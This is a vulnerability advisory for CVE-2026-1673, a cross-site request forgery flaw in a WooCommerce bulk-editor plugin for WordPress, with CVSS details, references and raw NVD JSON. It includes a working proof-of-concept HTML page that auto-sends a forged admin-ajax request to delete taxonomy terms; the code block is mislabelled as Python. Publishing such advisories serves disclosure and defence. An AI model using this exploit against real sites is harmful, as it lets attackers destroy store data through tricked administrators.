CVE-2026-1673

Description

The BEAR – Bulk Editor and Products Manager Professional for WooCommerce by Pluginus.Net plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.5. This is due to missing nonce validation on the woobe_delete_tax_term() function. This makes it possible for unauthenticated attackers to delete WooCommerce taxonomy terms (categories, tags, etc.) via a forged request granted they can trick a site administrator or shop manager into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

BEAR – Bulk Editor and Products Manager Professional <= 1.1.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-1673
  Description: CSRF to delete a WooCommerce taxonomy term.
  Usage: Host this file and trick an admin into clicking the link.
-->
<html>
  <body>
    <script>
      function exploit() {
        // The target term ID to delete (needs to be valid)
        var termId = "123";
        
        // Construct the request
        var url = "http://target-site.com/wp-admin/admin-ajax.php";
        var params = "action=woobe_delete_tax_term&term_id=" + termId;
        
        var xhr = new XMLHttpRequest();
        xhr.open("POST", url, true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        xhr.onreadystatechange = function() {
          if (xhr.readyState === 4) {
            console.log("Request sent");
          }
        };
        xhr.send(params);
      }
      
      // Automatically trigger or require user interaction
      exploit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1673
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1673
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1673/
[4] VulDB https://vuldb.com/cve/CVE-2026-1673
[5] https://plugins.trac.wordpress.org/browser/woo-bulk-editor/trunk/index.php#L1474
[6] https://plugins.trac.wordpress.org/changeset/3457263/
[7] https://plugins.trac.wordpress.org/changeset/3465138/
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/1e4e8960-b0c1-4dbb-ba97-e45b88fb06c0?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1673", "sourceIdentifier": "[email protected]", "published": "2026-04-08T12:16:20.280", "lastModified": "2026-04-24T18:05:09.240", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BEAR – Bulk Editor and Products Manager Professional for WooCommerce by Pluginus.Net plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.5. This is due to missing nonce validation on the woobe_delete_tax_term() function. This makes it possible for unauthenticated attackers to delete WooCommerce taxonomy terms (categories, tags, etc.) via a forged request granted they can trick a site administrator or shop manager into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woo-bulk-editor/trunk/index.php#L1474", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3457263/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3465138/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1e4e8960-b0c1-4dbb-ba97-e45b88fb06c0?source=cve", "source": "[email protected]"}]}}